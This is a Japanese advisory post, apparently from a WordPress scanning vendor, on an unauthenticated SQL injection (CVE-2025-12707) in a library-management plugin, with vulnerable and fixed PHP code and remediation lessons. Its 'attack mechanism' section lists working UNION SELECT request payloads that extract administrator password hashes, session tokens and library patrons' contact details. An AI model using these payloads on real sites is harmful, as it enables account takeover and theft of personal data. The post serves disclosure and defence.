CVSS 9.3Critical

CVE-2025-12707: Library Management SystemのSQLインジェクション

概要

  • CVE: CVE-2025-12707
  • プラグイン: Library Management System(owthub)
  • 影響バージョン: 3.2.1以前のすべてのバージョン
  • 修正バージョン: 3.3
  • CVSS: 9.3(Critical)
  • 認証: 不要(未認証で攻撃可能)
  • 種別: 未認証SQLインジェクション
  • 公開日: 2026年2月19日

2026年2月19日に公開されたCVE-2025-12707は、WordPressプラグイン「Library Management System」(owthub製)に存在する未認証SQLインジェクション脆弱性です。bidパラメータがSQLクエリに組み込まれる前にサニタイズも検証も行われないため、認証なしの外部攻撃者がデータベース全体を自由に読み取ることができます。教育機関や公共図書館が多くWordPressを採用しているという背景から、このプラグインの利用者層は個人情報やサービス継続性への脅威に直接さらされています。

何が起きたか

Library Management SystemはWordPress上で図書館業務を管理するプラグインで、書籍の貸出管理、在庫検索、利用者管理などの機能を提供しています。大学、公共図書館、学校図書館など、学術・教育セクターでの導入が中心です。

このプラグインは書籍詳細や貸出情報を取得するエンドポイントを提供しており、リクエストパラメータ bid(Book ID)を使用してデータベースを検索します。問題の根源は古典的なSQLインジェクションのミスにあります。bid の値をSQLクエリに組み込む際、intval()$wpdb->prepare() などのサニタイズ処理が一切適用されていませんでした。

// 脆弱なコード(簡略化)
$bid = $_GET['bid'];
$query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid";
$result = $wpdb->get_row($query);

$bid に任意の文字列をそのまま渡せるため、攻撃者はSQLの構文を自由に操作できます。さらに深刻なのは、このエンドポイントがWordPressの認証チェックをまったく必要としない点です。インターネットに公開されているWordPressサイトであれば、誰でも直接リクエストを送信して脆弱性を悪用できます。

攻撃の仕組み

攻撃は段階的に実施されます。エラーベースの確認から始まり、UNION SELECT による本格的なデータ抽出へと進みます。

ステップ1: 脆弱性の確認

最初にエラーや応答の差異を確認し、パラメータがSQLに渡されていることを検証します。

GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=1' HTTP/1.1
Host: target-library.example.com

シングルクォートを注入した際にSQLエラーが返る、または応答が変化した場合、インジェクション可能と判断できます。

ステップ2: カラム数の特定

UNION SELECT を使うためには対象クエリのカラム数を合わせる必要があります。ORDER BY を利用してカラム数を割り出します。

GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=1 ORDER BY 5-- -
GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=1 ORDER BY 6-- -

エラーが発生し始めるカラム番号の直前がカラム総数です(例: 5カラムと判明)。

ステップ3: WordPress管理者認証情報の抽出

カラム数が判明したら、wp_users テーブルから管理者の認証情報を直接抽出します。

GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=-1 UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE user_login='admin'-- -

レスポンスには管理者のユーザー名、PHPパスワードハッシュ(通常 $P$B... 形式のphpass)、メールアドレスが含まれます。

ステップ4: セッショントークンの窃取

wp_usermeta からセッショントークン(session_tokens)を取得することで、パスワードのクラックすら不要にアカウントを乗っ取ることが可能です。

GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=-1 UNION SELECT 1,meta_value,3,4,5 FROM wp_usermeta WHERE meta_key='session_tokens' AND user_id=1-- -

ステップ5: 利用者の個人情報の一括抽出

図書館システムの利用者テーブルには氏名、住所、貸出履歴、場合によってはメールアドレスや電話番号が格納されています。

GET /wp-admin/admin-ajax.php?action=lms_get_book&bid=-1 UNION SELECT 1,member_name,member_email,member_phone,5 FROM wp_lms_members LIMIT 100 OFFSET 0-- -

攻撃全体はスクリプトで自動化でき、単一のインスタンスからデータベース全体を数分以内に抽出することが可能です。

実際の被害

CVSS 9.3(Critical)というスコアは、このプラグインのユーザー層を考慮するとさらに意味が重くなります。

  • 認証不要のため、ログインアカウントや特別な技術知識がなくても攻撃が成立します
  • データベース全体の読み取りが可能であり、管理者パスワードハッシュ、セッショントークン、利用者の個人情報が一括で流出します
  • 教育機関・公共図書館における個人情報保護法・GDPRへの抵触リスクが高く、利用者の貸出履歴の流出は思想・信条の自由に関わる問題にも発展しえます
  • 大学や学術機関では、研究プロジェクトの内部情報や学術資産が同一のWordPress環境に存在するケースがあり、被害が図書館システムにとどまらない可能性があります
  • セッショントークンの窃取に成功した場合、パスワード変更なしに管理者アカウントを乗っ取ることができ、侵害の検知が大幅に遅れます
  • WordPressの wp_options テーブルにはサイト設定やAPIキーが格納されていることが多く、横展開攻撃への入口にもなります

修正と教訓

修正: バージョン3.3で bid パラメータおよびその他のユーザー入力パラメータに対して適切なサニタイズが実装されました。WordPress標準の $wpdb->prepare() を使用したプリペアドステートメントへの移行が行われています。Library Management Systemを使用しているすべてのサイトは直ちにバージョン3.3以降へ更新してください。

安全なコードは以下のように記述されます。

// 修正後のコード
$bid = intval($_GET['bid']);
$query = $wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = %d",
    $bid
);
$result = $wpdb->get_row($query);

教訓:

  1. $wpdb->prepare() の徹底使用: WordPressでデータベースクエリを構築する場合、ユーザー入力を直接文字列連結することは禁忌です。$wpdb->prepare() によるプリペアドステートメントが唯一の正解です
  2. 整数型パラメータには intval(): IDのような整数値を期待するパラメータでは、intval()absint() によるキャストを最初に行い、SQL到達前に無害化することが効果的な多層防御になります
  3. エンドポイントの認証確認: 外部から到達可能なAJAXアクションやRESTエンドポイントには、データの機密性に応じて check_ajax_referer() やNonce検証、capability checkを必ず実装すること
  4. 最小権限の原則: データベースアカウントに不必要なSELECT権限を与えないことで、インジェクションが成立した場合の被害を限定できます
  5. 特定業界プラグインの見落とし: セキュリティコミュニティの注目が集まりにくいニッチプラグインほど、コードレビューが不足しがちです。利用者数が少なくても脆弱性の深刻度は変わりません

Nyambushでの検出

NyambushはWordPressプラグインのバージョン情報を継続的にスキャンし、CVE-2025-12707を含む既知の脆弱性が存在するプラグインを検出した場合に警告を発します。

Library Management System 3.2.1以前が検出された場合、NyambushのスキャンレポートにCritical(深刻)として表示され、CVSSスコア9.3とともに推奨アクションが提示されます。教育機関や自治体が運営するWordPressサイトは、対外的な信頼性とコンプライアンスの観点からも、未認証SQLインジェクションへの迅速な対応が不可欠です。定期スキャンと脆弱性通知を組み合わせることで、公開から対応までの時間を最短化できます。

この記事をシェア:Xでポスト

あなたのドメインは安全ですか?

Nyambushで今すぐ無料スキャンして、セキュリティリスクをチェックしましょう。